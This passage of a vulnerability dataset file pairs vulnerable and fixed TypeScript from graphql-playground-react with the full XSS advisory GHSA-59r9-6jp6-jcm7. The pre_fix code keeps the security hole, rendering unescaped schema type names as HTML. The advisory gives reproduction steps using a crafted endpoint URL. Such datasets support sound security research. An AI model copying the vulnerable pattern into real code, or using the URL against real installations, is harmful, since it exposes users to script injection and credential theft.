endpoint URL via query parameter even if it is explicitly specified in the code.\n\n`graphql-playground-react` is commonly loaded via the `graphql-playground-html` package or a middleware package that wraps it (`graphql-playground-express`, `graphql-playground-middleware-koa`, `graphql-playground-middleware-hapi`, or `graphql-playground-middleware-lambda`). By default, these packages render an HTML page which loads the *latest* version of `graphql-playground-react` through a CDN. If you are using one of these packages to install GraphQL Playground on your domain *and you do not explicitly pass the `version` option to `renderPlaygroundPage` or the middleware function*, then you do not need to take any action to resolve this vulnerability, as the latest version of the React app will automatically be loaded.\n\n`graphql-playground-react` is also commonly loaded via HTML served by Apollo Server. Apollo Server always pins a specific version of `graphql-playground-react`, so if you are using Apollo Server you do need to take action to resolve this vulnerability. See the [Apollo Server advisory](https://github.com/apollographql/apollo-server/security/advisories/GHSA-qm7x-rc44-rrqw) for details.\n\n\n### 3. Patches\n\n`graphql-playground-react@1.7.28` addresses this issue via defense in depth:\n\n- **HTML-escaping text** that should be treated as text rather than HTML. In most of the app, this happens automatically because React escapes all interpolated text by default. However, one vulnerable component uses the unsafe `innerHTML` API and interpolated type names directly into HTML. We now properly escape that type name, which fixes the known vulnerability.\n\n- **Validates the schema** upon receiving the introspection response or schema changes. Schemas with names that violate the GraphQL spec will no longer be loaded. (This includes preventing the Doc Explorer from loading.) This change is also sufficient to fix the known vulnerability.\n\n- **Ensuring that user-generated HTML is safe**. Schemas can contain Markdown in `description` and `deprecationReason` fields, and the web app renders them to HTML using the `markdown-it` library. Prior to `graphql-playground-react@1.7.28`, GraphQL Playground used two separate libraries to render Markdown: `markdown-it` and `marked`. As part of the development of `graphql-playground-react@1.7.28`, we verified that our use of `markdown-it` prevents the inclusion of arbitrary HTML. We use `markdown-it` without setting `html: true`, so we are comfortable relying on [`markdown-it`'s HTML escaping](https://github.com/markdown-it/markdown-it/blob/master/docs/security.md) here. We considered running a second level of sanitization over all rendered Markdown using a library such as `dompurify` but believe that is unnecessary as `markdown-it`'s sanitization appears to be adequate. `graphiql@1.4.3` does update to the latest version of `markdown-it` (v12, from v10) so that any security fixes in v11 and v12 will take effect. On the other hand, [`marked`](https://github.com/markedjs/marked) recommends the use of a separate HTML sanitizer if its input is untrusted. In this release, we switch the one component which uses `marked` to use `markdown-it` like the rest of the app.\n\n**If you are using `graphql-playground-react` directly in your client app**, upgrade to version 1.7.28 or later.\n\n**If you are using `graphql-playground-html` or a package which starts with `graphql-playground-middleware-` in your server** and you are passing the `version` option to a function imported from that package, change that `version` option to be at least `\"1.7.28\"`.\n\n**If you are using `graphql-playground-html` or a package which starts with `graphql-playground-middleware-` in your server** and you are **NOT** passing the `version` option to a function imported from that package, no action is necessary; your app automatically loads the latest version of `graphql-playground-react` from CDN.\n\n### 4. Reproducing the exploit\n\nWe are hosting a \"malicious\" server at https://graphql-xss-schema.netlify.app/graphql . This server has a hard-coded introspection result that includes unsafe HTML in type names.\n\nIf you manually change a GraphQL Playground installation to use that endpoint, clear the operation pane, and type `{x` into the operation pane, an alert will pop up; this demonstrates execution of code provided by the malicious server.\n\nAn URL like https://YOUR-PLAYGROUND-SERVER/?endpoint=https%3A%2F%2Fgraphql-xss-schema.netlify.app%2Fgraphql&query=%7B will load already configured with the endpoint in question. (This URL-based exploit works on `graphql-playground-react@1.7.0` and newer; older versions may be protected from this particular URL-based exploit depending on their configuration.)\n### 5. Credit\n\nThis vulnerability was discovered by [@Ry0taK](https://github.com/Ry0taK), thank you! :1st_place_medal:\n\nOthers who contributed:\n\n- extensive help from [@glasser](https://github.com/glasser) at [Apollo](https://github.com/apollographql)\n- [@acao](https://github.com/acao)\n- [@imolorhe](https://github.com/imolorhe)\n- [@divyenduz](https://github.com/divyenduz)\n- [@dotansimha](https://github.com/dotansimha)\n- [@timsuchanek](http://github.com/timsuchanek)\n- [@benjie](https://github.com/Ry0taK) and many others who provided morale support\n\n### 6. For more information\n\nIf you have any questions or comments about this advisory:\n\n- The `graphiql` advisory document contains [more information](https://github.com/graphql/graphiql/blob/main/docs/security/2021-introspection-schema-xss.md#2-more-details-on-the-vulnerability) about how both the client-side and server-side vulnerabilities work\n- Open an issue in the [graphql-playground repo](https://github.com/graphql/graphql-playground/new/issues)"
+commit = "b8a956006835992f12c46b90384a79ab82bcadad"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "constructor"
+function_lines = [[182, 197]]
+id = "graphql-graphql-playground-779f126239ce96a4"
+language = "typescript"
+method = "fix_site"
+parent = "5073062f3834bb8652c0c0e3297ad83ddc8ad867"
+path = "packages/graphql-playground-react/src/components/Playground.tsx"
+post_fix = " constructor(props: Props & ReduxProps) {\n super(props)\n\n if (props.schema) {\n const validationErrors = validateSchema(props.schema)\n if (validationErrors && validationErrors.length > 0) {\n throw new InvalidSchemaError(validationErrors);\n } \n }\n\n this.state = {\n schema: props.schema,\n }\n ;(global as any).p = this\n\n if (typeof this.props.getRef === 'function') {\n this.props.getRef(this)\n }\n\n setLinkCreator(props.createApolloLink)\n this.getSchema()\n setSubscriptionEndpoint(props.subscriptionEndpoint)\n }"
+pre_fix = " constructor(props: Props & ReduxProps) {\n super(props)\n\n this.state = {\n schema: props.schema,\n }\n ;(global as any).p = this\n\n if (typeof this.props.getRef === 'function') {\n this.props.getRef(this)\n }\n\n setLinkCreator(props.createApolloLink)\n this.getSchema()\n setSubscriptionEndpoint(props.subscriptionEndpoint)\n }"
+repo = "graphql/graphql-playground"
+url = "https://github.com/graphql/graphql-playground.git"
+
+[[case]]
+advisory = "GHSA-59r9-6jp6-jcm7"
+advisory_text = "XSS vulnerability in GraphQL Playground from untrusted schemas\n\n## GraphQL Playground introspection schema template injection attack: Advisory Statement\n\nThis is a security advisory for an XSS vulnerability in `graphql-playground`.\n\nA similar vulnerability affects `graphiql`, the package from which `graphql-playground` was forked. There is a corresponding `graphiql` [advisory](https://github.com/graphql/graphiql/security/advisories/GHSA-x4r7-m2q9-69c8).\n\n- [1. Impact](#1-impact)\n- [2. Scope](#2-scope)\n- [3. Patches](#3-patches)\n- [4. Reproducing the exploit](#4-reproducing-the-exploit)\n- [5. Credit](#5-credit)\n- [6. For more information](#6-for-more-information)\n\n### 1. Impact\n\nAll versions of `graphql-playground-react` older than `graphql-playground-react@1.7.28` are vulnerable to compromised HTTP schema introspection responses or `schema` prop values with malicious GraphQL type names, exposing a dynamic XSS attack surface that can allow code injection on operation autocomplete.\n\nIn order for the attack to take place, the user must load a malicious schema in `graphql-playground`. There are several ways this can occur, including by specifying the URL to a malicious schema in the `endpoint` query parameter. If a user clicks on a link to a GraphQL Playground installation that specifies a malicious server, arbitrary JavaScript can run in the user's browser, which can be used to exfiltrate user credentials or other harmful goals.\n\n### 2. Scope\n\nThis advisory describes the impact on the `graphql-playground-react` package. The vulnerability also affects `graphiql`, the package from which `graphql-playground` was forked, with a less severe impact; see the [`graphiql` advisory](https://github.com/graphql/graphiql/security/advisories/GHSA-x4r7-m2q9-69c8) for details. It affects all versions of `graphql-playground-react` older than `v1.7.28`.\n\nThis vulnerability was introduced with the first public release of `graphql-playground`, so it impacts both the original legacy `graphql-playground` and the contemporary `graphql-playground-react` npm package. It is most easily exploited on `graphql-playground-react@1.7.0` and newer, as that release added functionality which made it possible to override the endpoint URL via query parameter even if it is explicitly specified in the code.\n\n`graphql-playground-react` is commonly loaded via the `graphql-playground-html` package or a middleware package that wraps it (`graphql-playground-express`, `graphql-playground-middleware-koa`, `graphql-playground-middleware-hapi`, or `graphql-playground-middleware-lambda`). By default, these packages render an HTML page which loads the *latest* version of `graphql-playground-react` through a CDN. If you are using one of these packages to install GraphQL Playground on your domain *and you do not explicitly pass the `version` option to `renderPlaygroundPage` or the middleware function*, then you do not need to take any action to resolve this vulnerability, as the latest version of the React app will automatically be loaded.\n\n`graphql-playground-react` is also commonly loaded via HTML served by Apollo Server. Apollo Server always pins a specific version of `graphql-playground-react`, so if you are using Apollo Server you do need to take action to resolve this vulnerability. See the [Apollo Server advisory](https://github.com/apollographql/apollo-server/security/advisories/GHSA-qm7x-rc44-rrqw) for details.\n\n\n### 3. Patches\n\n`graphql-playground-react@1.7.28` addresses this issue via defense in depth:\n\n- **HTML-escaping text** that should be treated as text rather than HTML. In most of the app, this happens automatically because React escapes all interpolated text by default. However, one vulnerable component uses the unsafe `innerHTML` API and interpolated type names directly into HTML. We now properly escape that type name, which fixes the known vulnerability.\n\n- **Validates the schema** upon receiving the introspection response or schema changes. Schemas with names that violate the GraphQL spec will no longer be loaded. (This includes preventing the Doc Explorer from loading.) This change is also sufficient to fix the known vulnerability.\n\n- **Ensuring that user-generated HTML is safe**. Schemas can contain Markdown in `description` and `deprecationReason` fields, and the web app renders them to HTML using the `markdown-it` library. Prior to `graphql-playground-react@1.7.28`, GraphQL Playground used two separate libraries to render Markdown: `markdown-it` and `marked`. As part of the development of `graphql-playground-react@1.7.28`, we verified that our use of `markdown-it` prevents the inclusion of arbitrary HTML. We use `markdown-it` without setting `html: true`, so we are comfortable relying on [`markdown-it`'s HTML escaping](https://github.com/markdown-it/markdown-it/blob/master/docs/security.md) here. We considered running a second level of sanitization over all rendered Markdown using a library such as `dompurify` but believe that is unnecessary as `markdown-it`'s sanitization appears to be adequate. `graphiql@1.4.3` does update to the latest version of `markdown-it` (v12, from v10) so that any security fixes in v11 and v12 will take effect. On the other hand, [`marked`](https://github.com/markedjs/marked) recommends the use of a separate HTML sanitizer if its input is untrusted. In this release, we switch the one component which uses `marked` to use `markdown-it` like the rest of the app.\n\n**If you are using `graphql-playground-react` directly in your client app**, upgrade to version 1.7.28 or later.\n\n**If you are using `graphql-playground-html` or a package which starts with `graphql-playground-middleware-` in your server** and you are passing the `version` option to a function imported from that package, change that `version` option to be at least `\"1.7.28\"`.\n\n**If you are using `graphql-playground-html` or a package which starts with `graphql-playground-middleware-` in your server** and you are **NOT** passing the `version` option to a function imported from that package, no action is necessary; your app automatically loads the latest version of `graphql-playground-react` from CDN.\n\n### 4. Reproducing the exploit\n\nWe are hosting a \"malicious\" server at https://graphql-xss-schema.netlify.app/graphql . This server has a hard-coded introspection result that includes unsafe HTML in type names.\n\nIf you manually change a GraphQL Playground installation to use that endpoint, clear the operation pane, and type `{x` into the operation pane, an alert will pop up; this demonstrates execution of code provided by the malicious server.\n\nAn URL like https://YOUR-PLAYGROUND-SERVER/?endpoint=https%3A%2F%2Fgraphql-xss-schema.netlify.app%2Fgraphql&query=%7B will load already configured with the endpoint in question. (This URL-based exploit works on `graphql-playground-react@1.7.0` and newer; older versions may be protected from this particular URL-based exploit depending on their configuration.)\n### 5. Credit\n\nThis vulnerability was discovered by [@Ry0taK](https://github.com/Ry0taK), thank you! :1st_place_medal:\n\nOthers who contributed:\n\n- extensive help from [@glasser](https://github.com/glasser) at [Apollo](https://github.com/apollographql)\n- [@acao](https://github.com/acao)\n- [@imolorhe](https://github.com/imolorhe)\n- [@divyenduz](https://github.com/divyenduz)\n- [@dotansimha](https://github.com/dotansimha)\n- [@timsuchanek](http://github.com/timsuchanek)\n- [@benjie](https://github.com/Ry0taK) and many others who provided morale support\n\n### 6. For more information\n\nIf you have any questions or comments about this advisory:\n\n- The `graphiql` advisory document contains [more information](https://github.com/graphql/graphiql/blob/main/docs/security/2021-introspection-schema-xss.md#2-more-details-on-the-vulnerability) about how both the client-side and server-side vulnerabilities work\n- Open an issue in the [graphql-playground repo](https://github.com/graphql/graphql-playground/new/issues)"
+commit = "b8a956006835992f12c46b90384a79ab82bcadad"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "renderType"
+function_lines = [[136, 138]]
+id = "graphql-graphql-playground-8a960cf0662c724e"
+language = "typescript"
+method = "fix_site"
+parent = "5073062f3834bb8652c0c0e3297ad83ddc8ad867"
+path = "packages/graphql-playground-react/src/components/Playground/onHasCompletion.tsx"
+post_fix = "function renderType(type) {\n return `${escapeHTML(type.toString())}`\n}"
+pre_fix = "function renderType(type) {\n return `${type}`\n}"
+repo = "graphql/graphql-playground"
+url = "https://github.com/graphql/graphql-playground.git"
+
+[[case]]
+advisory = "GHSA-59r9-6jp6-jcm7"
+advisory_text = "XSS vulnerability in GraphQL Playground from untrusted schemas\n\n## GraphQL Playground introspection schema template injection attack: Advisory Statement\n\nThis is a security advisory for an XSS vulnerability in `graphql-playground`.\n\nA similar vulnerability affects `graphiql`, the package from which `graphql-playground` was forked. There is a corresponding `graphiql` [advisory](https://github.com/graphql/graphiql/security/advisories/GHSA-x4r7-m2q9-69c8).\n\n- [1. Impact](#1-impact)\n- [2. Scope](#2-scope)\n- [3. Patches](#3-patches)\n- [4. Reproducing the exploit](#4-reproducing-the-exploit)\n- [5. Credit](#5-credit)\n- [6. For more information](#6-for-more-information)\n\n### 1. Impact\n\nAll versions of `graphql-playground-react` older than `graphql-playground-react@1.7.28` are vulnerable to compromised HTTP schema introspection responses or `schema` prop values with malicious GraphQL type names, exposing a dynamic XSS attack surface that can allow code injection on operation autocomplete.\n\nIn order for the attack to take place, the user must load a malicious schema in `graphql-playground`. There are several ways this can occur, including by specifying the URL to a malicious schema in the `endpoint` query parameter. If a user clicks on a link to a GraphQL Playground installation that specifies a malicious server, arbitrary JavaScript can run in the user's browser, which can be used to exfiltrate user credentials or other harmful goals.\n\n### 2. Scope\n\nThis advisory describes the impact on the `graphql-playground-react` package. The vulnerability also affects `graphiql`, the package from which `graphql-playground` was forked, with a less severe impact; see the [`graphiql` advisory](https://github.com/graphql/graphiql/security/advisories/GHSA-x4r7-m2q9-69c8) for details. It affects all versions of `graphql-playground-react` older than `v1.7.28`.\n\nThis vulnerability was introduced with the first public release of `graphql-playground`, so it impacts both the original legacy `graphql-playground` and the contemporary `graphql-playground-react` npm package. It is most easily exploited on `graphql-playground-react@1.7.0` and newer, as that release added functionality which made it possible to override the endpoint URL via query parameter even if it is explicitly specified in the code.\n\n`graphql-playground-react` is commonly loaded via the `graphql-playground-html` package or a middleware package that wraps it (`graphql-playground-express`, `graphql-playground-middleware-koa`, `graphql-playground-middleware-hapi`, or `graphql-playground-middleware-lambda`). By default, these packages render an HTML page which loads the *latest* version of `graphql-playground-react` through a CDN. If you are using one of these packages to install GraphQL Playground on your domain *and you do not explicitly pass the `version` option to `renderPlaygroundPage` or the middleware function*, then you do not need to take any action to resolve this vulnerability, as the latest version of the React app will automatically be loaded.\n\n`graphql-playground-react` is also commonly loaded via HTML served by Apollo Server. Apollo Server always pins a specific version of `graphql-playground-react`, so if you are using Apollo Server you do need to take action to resolve this vulnerability. See the [Apollo Server advisory](https://github.com/apollographql/apollo-server/security/advisories/GHSA-qm7x-rc44-rrqw) for details.\n\n\n### 3. Patches\n\n`graphql-playground-react@1.7.28` addresses this issue via defense in depth:\n\n- **HTML-escaping text** that should be treated as text rather than HTML. In most of the app, this happens automatically because React escapes all interpolated text by default. However, one vulnerable component uses the unsafe `innerHTML` API and interpolated type names directly into HTML. We now properly escape that type name, which fixes the known vulnerability.\n\n- **Validates the schema** upon receiving the introspection response or schema changes. Schemas with names that violate the GraphQL spec will no longer be loaded. (This includes preventing the Doc Explorer from loading.) This change is also sufficient to fix the known vulnerability.\n\n- **Ensuring that user-generated HTML is safe**. Schemas can contain Markdown in `description` and `deprecationReason` fields, and the web app renders them to HTML using the `markdown-it` library. Prior to `graphql-playground-react@1.7.28`, GraphQL Playground used two separate libraries to render Markdown: `markdown-it` and `marked`. As part of the development of `graphql-playground-react@1.7.28`, we verified that our use of `markdown-it` prevents the inclusion of arbitrary HTML. We use `markdown-it` without setting `html: true`, so we are comfortable relying on [`markdown-it`'s HTML escaping](https://github.com/markdown-it/markdown-it/blob/master/docs/security.md) here. We considered running a second level of sanitization over all rendered Markdown using a library such as `dompurify` but believe that is unnecessary as `markdown-it`'s sanitization appears to be adequate. `graphiql@1.4.3` does update to the latest version of `markdown-it` (v12, from v10) so that any security fixes in v11 and v12 will take effect. On the other hand, [`marked`](https://github.com/markedjs/marked) recommends the use of a separate HTML sanitizer if its input is untrusted. In this release, we switch the one component which uses `marked` to use `markdown-it` like the rest of the app.\n\n**If you are using `graphql-playground-react` directly in your client app**, upgrade to version 1.7.28 or later.\n\n**If you are using `graphql-playground-html` or a package which starts with `graphql-playground-middleware-` in your server** and you are passing the `version` option to a function imported from that package, change that `version` option to be at least `\"1.7.28\"`.\n\n**If you are using `graphql-playground-html` or a package which starts with `graphql-playground-middleware-` in your server** and you are **NOT** passing the `version` option to a function imported from that package, no action is necessary; your app automatically loads the latest version of `graphql-playground-react` from CDN.\n\n### 4. Reproducing the exploit\n\nWe are hosting a \"malicious\" server at https://graphql-xss-schema.netlify.app/graphql . This server has a hard-coded introspection result that includes unsafe HTML in type names.\n\nIf you manually change a GraphQL Playground installation to use that endpoint, clear the operation pane, and type `{x` into the operation pane, an alert will pop up; this demonstrates execution of code provided by the malicious server.\n\nAn URL like https://YOUR-PLAYGROUND-SERVER/?endpoint=https%3A%2F%2Fgraphql-xss-schema.netlify.app%2Fgraphql&query=%7B will load already configured with the endpoint in question. (This URL-based exploit works on `graphql-playground-react@1.7.0` and newer; older versions may be protected from this particular URL-based exploit depending on their configuration.)\n### 5. Credit\n\nThis vulnerability was discovered by [@Ry0taK](https://github.com/Ry0taK), thank you! :1st_place_medal:\n\nOthers who contributed:\n\n- extensive help from [@glasser](https://github.com/glasser) at [Apollo](https://github.com/apollographql)\n- [@acao](https://github.com/acao)\n- [@imolorhe](https://github.com/imolorhe)\n- [@divyenduz](https://github.com/divyenduz)\n- [@dotansimha](https://github.com/dotansimha)\n- [@timsuchanek](http://github.com/timsuchanek)\n- [@benjie](https://github.com/Ry0taK) and many others who provided morale support\n\n### 6. For more information\n\nIf you have any questions or comments about this advisory:\n\n- The `graphiql` advisory document contains [more information](https://github.com/graphql/graphiql/blob/main/docs/security/2021-introspection-schema-xss.md#2-more-details-on-the-vulnerability) about how both the client-side and server-side vulnerabilities work\n- Open an issue in the [graphql-playground repo](https://github.com/graphql/graphql-playground/new/issues)"
+commit = "b8a956006835992f12c46b90384a79ab82bcadad"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "getSchema"
+function_lines = [[95, 166]]
+id = "graphql-graphql-playground-8ab7cfafbc027403"
+language = "typescript"
+method = "fix_site"
+parent = "5073062f3834bb8652c0c0e3297ad83ddc8ad867"
+path = "packages/graphql-playground-react/src/components/Playground/SchemaFetcher.ts"
+post_fix = " private getSchema(data: IntrospectionQuery) {\n const schemaString = JSON.stringify(data)\n const cachedSchema = this.schemaInstanceCache.get(schemaString)\n if (cachedSchema) {\n return cachedSchema\n }\n\n const schema = buildClientSchema(data)\n\n const validationErrors = validateSchema(schema)\n if (validationErrors && validationErrors.length > 0) {\n throw new InvalidSchemaError(validationErrors)\n }\n this.schemaInstanceCache.set(schemaString, schema)\n\n return schema\n }\n private async fetchSchema(\n session: SchemaFetchProps,\n ): Promise<{ schema: GraphQLSchema; tracingSupported: boolean } | null> {\n const hash = this.hash(session)\n try {\n const { endpoint } = session\n const headersTracing = {\n ...parseHeaders(session.headers),\n 'X-Apollo-Tracing': '1',\n }\n const headersNoTracing = {\n ...parseHeaders(session.headers),\n }\n const headers = session.useTracingHeader\n ? headersTracing\n : headersNoTracing\n\n const options = set(session, 'headers', headers) as any\n\n const { link } = this.linkGetter(options)\n\n const operation = makeOperation({ query: getIntrospectionQuery() })\n\n const schemaData = await toPromise(execute(link, operation))\n if (\n schemaData &&\n ((schemaData.errors && schemaData.errors.length > 0) ||\n !schemaData.data)\n ) {\n throw new Error(JSON.stringify(schemaData, null, 2))\n }\n\n if (!schemaData) {\n throw new NoSchemaError(endpoint)\n }\n\n const schema = this.getSchema(schemaData.data as IntrospectionQuery)\n\n const tracingSupported =\n (schemaData.extensions && Boolean(schemaData.extensions.tracing)) ||\n false\n const result: TracingSchemaTuple = {\n schema,\n tracingSupported,\n }\n this.sessionCache.set(this.hash(session), result)\n const subscription = this.subscriptions.get(hash)\n if (subscription) {\n subscription(result.schema)\n }\n return result\n } finally {\n this.fetching.remove(hash)\n }\n }\n}"
+pre_fix = " private getSchema(data: any) {\n const schemaString = JSON.stringify(data)\n const cachedSchema = this.schemaInstanceCache.get(schemaString)\n if (cachedSchema) {\n return cachedSchema\n }\n\n const schema = buildClientSchema(data as any)\n\n this.schemaInstanceCache.set(schemaString, schema)\n\n return schema\n }\n private fetchSchema(\n session: SchemaFetchProps,\n ): Promise<{ schema: GraphQLSchema; tracingSupported: boolean } | null> {\n const hash = this.hash(session)\n const { endpoint } = session\n const headersTracing = {\n ...parseHeaders(session.headers),\n 'X-Apollo-Tracing': '1',\n }\n const headersNoTracing = {\n ...parseHeaders(session.headers),\n }\n const headers = session.useTracingHeader ? headersTracing : headersNoTracing\n\n const options = set(session, 'headers', headers) as any\n\n const { link } = this.linkGetter(options)\n\n const operation = makeOperation({ query: getIntrospectionQuery() })\n\n return new Promise((resolve, reject) => {\n execute(link, operation).subscribe({\n next: schemaData => {\n if (\n schemaData &&\n ((schemaData.errors && schemaData.errors.length > 0) ||\n !schemaData.data)\n ) {\n throw new Error(JSON.stringify(schemaData, null, 2))\n }\n\n if (!schemaData) {\n throw new NoSchemaError(endpoint)\n }\n\n const schema = this.getSchema(schemaData.data as any)\n const tracingSupported =\n (schemaData.extensions && Boolean(schemaData.extensions.tracing)) ||\n false\n const result: TracingSchemaTuple = {\n schema,\n tracingSupported,\n }\n this.sessionCache.set(this.hash(session), result)\n resolve(result)\n this.fetching = this.fetching.remove(hash)\n const subscription = this.subscriptions.get(hash)\n if (subscription) {\n subscription(result.schema)\n }\n },\n error: err => {\n reject(err)\n this.fetching = this.fetching.remove(this.hash(session))\n },\n })\n })\n }\n}"
+repo = "graphql/graphql-playground"
+url = "https://github.com/graphql/graphql-playground.git"
+
+[[case]]
+advisory = "GHSA-59r9-6jp6-jcm7"
+advisory_text = "XSS vulnerability in GraphQL Playground from untrusted schemas\n\n## GraphQL Playground introspection schema template injection attack: Advisory Statement\n\nThis is a security advisory for an XSS vulnerability in `graphql-playground`.\n\nA similar vulnerability affects `graphiql`, the package from which `graphql-playground` was forked. There is a corresponding `graphiql` [advisory](https://github.com/graphql/graphiql/security/advisories/GHSA-x4r7-m2q9-69c8).\n\n- [1. Impact](#1-impact)\n- [2. Scope](#2-scope)\n- [3. Patches](#3-patches)\n- [4. Reproducing the exploit](#4-reproducing-the-exploit)\n- [5. Credit](#5-credit)\n- [6. For more information](#6-for-more-information)\n\n### 1. Impact\n\nAll versions of `graphql-playground-react` older than `graphql-playground-react@1.7.28` are vulnerable to compromised HTTP schema introspection responses or `schema` prop values with malicious GraphQL type names, exposing a dynamic XSS attack surface that can allow code injection on operation autocomplete.\n\nIn order for the attack to take place, the user must load a malicious schema in `graphql-playground`. There are several ways this can occur, including by specifying the URL to a malicious schema in the `endpoint` query parameter. If a user clicks on a link to a GraphQL Playground installation that specifies a malicious server, arbitrary JavaScript can run in the user's browser, which can be used to exfiltrate user credentials or other harmful goals.\n\n### 2. Scope\n\nThis advisory describes the impact on the `graphql-playground-react` package. The vulnerability also affects `graphiql`, the package from which `graphql-playground` was forked, with a less severe impact; see the [`graphiql` advisory](https://github.com/graphql/graphiql/security/advisories/GHSA-x4r7-m2q9-69c8) for details. It affects all versions of `graphql-playground-react` older than `v1.7.28`.\n\nThis vulnerability was introduced with the first public release of `graphql-playground`, so it impacts both the original legacy `graphql-playground` and the contemporary `graphql-playground-react` npm package. It is most easily exploited on `graphql-playground-react@1.7.0` and newer, as that release added functionality which made it possible to override the endpoint URL via query parameter even if it is explicitly specified in the code.\n\n`graphql-playground-react` is commonly loaded via the `graphql-playground-html` package or a middleware package that wraps it (`graphql-playground-express`, `graphql-playground-middleware-koa`, `graphql-playground-middleware-hapi`, or `graphql-playground-middleware-lambda`). By default, these packages render an HTML page which loads the *latest* version of `graphql-playground-react` through a CDN. If you are using one of these packages to install GraphQL Playground on your domain *and you do not explicitly pass the `version` option to `renderPlaygroundPage` or the middleware function*, then you do not need to take any action to resolve this vulnerability, as the latest version of the React app will automatically be loaded.\n\n`graphql-playground-react` is also commonly loaded via HTML served by Apollo Server. Apollo Server always pins a specific version of `graphql-playground-react`, so if you are using Apollo Server you do need to take action to resolve this vulnerability. See the [Apollo Server advisory](https://github.com/apollographql/apollo-server/security/advisories/GHSA-qm7x-rc44-rrqw) for details.\n\n\n### 3. Patches\n\n`graphql-playground-react@1.7.28` addresses this issue via defense in depth:\n\n- **HTML-escaping text** that should be treated as text rather than HTML. In most of the app, this happens automatically because React escapes all interpolated text by default. However, one vulnerable component uses the unsafe `innerHTML` API and interpolated type names directly into HTML. We now properly escape that type name, which fixes the known vulnerability.\n\n- **Validates the schema** upon receiving the introspection response or schema changes. Schemas with names that violate the GraphQL spec will no longer be loaded. (This includes preventing the Doc Explorer from loading.) This change is also sufficient to fix the known vulnerability.\n\n- **Ensuring that user-generated HTML is safe**. Schemas can contain Markdown in `description` and `deprecationReason` fields, and the web app renders them to HTML using the `markdown-it` library. Prior to `graphql-playground-react@1.7.28`, GraphQL Playground used two separate libraries to render Markdown: `markdown-it` and `marked`. As part of the development of `graphql-playground-react@1.7.28`, we verified that our use of `markdown-it` prevents the inclusion of arbitrary HTML. We use `markdown-it` without setting `html: true`, so we are comfortable relying on [`markdown-it`'s HTML escaping](https://github.com/markdown-it/markdown-it/blob/master/docs/security.md) here. We considered running a second level of sanitization over all rendered Markdown using a library such as `dompurify` but believe that is unnecessary as `markdown-it`'s sanitization appears to be adequate. `graphiql@1.4.3` does update to the latest version of `markdown-it` (v12, from v10) so that any security fixes in v11 and v12 will take effect. On the other hand, [`marked`](https://github.com/markedjs/marked) recommends the use of a separate HTML sanitizer if its input is untrusted. In this release, we switch the one component which uses `marked` to use `markdown-it` like the rest of the app.\n\n**If you are using `graphql-playground-react` directly in your client app**, upgrade to version 1.7.28 or later.\n\n**If you are using `graphql-playground-html` or a package which starts with `graphql-playground-middleware-` in your server** and you are passing the `version` option to a function imported from that package, change that `version` option to be at least `\"1.7.28\"`.\n\n**If you are using `graphql-playground-html` or a package which starts with `graphql-playground-middleware-` in your server** and you are **NOT** passing the `version` option to a function imported from that package, no action is necessary; your app automatically loads the latest version of `graphql-playground-react` from CDN.\n\n### 4. Reproducing the exploit\n\nWe are hosting a \"malicious\" server at https://graphql-xss-schema.netlify.app/graphql . This server has a hard-coded introspection result that includes unsafe HTML in type names.\n\nIf you manually change a GraphQL Playground installation to use that endpoint, clear the operation pane, and type `{x` into the operation pane, an alert will pop up; this demonstrates execution of code provided by the malicious server.\n\nAn URL like https://YOUR-PLAYGROUND-SERVER/?endpoint=https%3A%2F%2Fgraphql-xss-schema.netlify.app%2Fgraphql&query=%7B will load already configured with the endpoint in question. (This URL-based exploit works on `graphql-playground-react@1.7.0` and newer; older versions may be protected from this particular URL-based exploit depending on their configuration.)\n### 5. Credit\n\nThis vulnerability was discovered by [@Ry0taK](https://github.com/Ry0taK), thank you! :1st_place_medal:\n\nOthers who contributed:\n\n- extensive help from [@glasser](https://github.com/glasser) at [Apollo](https://github.com/apollographql)\n- [@acao](https://github.com/acao)\n- [@imolorhe](https://github.com/imolorhe)\n- [@divyenduz](https://github.com/divyenduz)\n- [@dotansimha](https://github.com/dotansimha)\n- [@timsuchanek](http://github.com/timsuchanek)\n- [@benjie](https://github.com/Ry0taK) and many others who provided morale support\n\n### 6. For more information\n\nIf you have any questions or comments about this advisory:\n\n- The `graphiql` advisory document contains [more information](https://github.com/graphql/graphiql/blob/main/docs/security/2021-introspection-schema-xss.md#2-more-details-on-the-vulnerability) about how both the client-side and server-side vulnerabilities work\n- Open an issue in the [graphql-playground repo](https://github.com/graphql/graphql-playground/new/issues)"
+commit = "b8a956006835992f12c46b90384a79ab82bcadad"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "UNSAFE_componentWillReceiveProps"
+function_lines = [[215, 253]]
+id = "graphql-graphql-playground-94e027d23fc54155"
+language = "typescript"
+method = "fix_site"
+parent = "5073062f3834bb8652c0c0e3297ad83ddc8ad867"
+path = "packages/graphql-playground-react/src/components/Playground.tsx"
+post_fix = " UNSAFE_componentWillReceiveProps(nextProps: Props & ReduxProps) {\n if (this.props.createApolloLink !== nextProps.createApolloLink) {\n setLinkCreator(nextProps.createApolloLink)\n }\n if (\n nextProps.headers !== this.props.headers ||\n nextProps.endpoint !== this.props.endpoint ||\n nextProps.workspaceName !== this.props.workspaceName ||\n nextProps.sessionHeaders !== this.props.sessionHeaders ||\n nextProps.sessionEndpoint !== this.props.sessionEndpoint\n ) {\n this.getSchema(nextProps)\n }\n if (this.props.isReloadingSchema && !nextProps.isReloadingSchema) {\n setTimeout(() => {\n this.getSchema(nextProps)\n })\n }\n if (\n this.props.endpoint !== nextProps.endpoint ||\n this.props.configPath !== nextProps.configPath ||\n nextProps.workspaceName !== this.props.workspaceName\n ) {\n this.props.initState(getWorkspaceId(nextProps), nextProps.endpoint)\n }\n if (this.props.subscriptionEndpoint !== nextProps.subscriptionEndpoint) {\n setSubscriptionEndpoint(nextProps.subscriptionEndpoint)\n }\n if (nextProps.headers !== this.props.headers) {\n this.props.injectHeaders(nextProps.headers, nextProps.endpoint)\n }\n if (nextProps.configString !== this.props.configString) {\n this.props.setConfigString(nextProps.configString)\n }\n if (nextProps.schema !== this.props.schema) {\n const validationErrors = validateSchema(nextProps.schema)\n if (validationErrors && validationErrors.length > 0) {\n throw new InvalidSchemaError(validationErrors);\n } \n this.setState({ schema: nextProps.schema })\n }\n }\n"
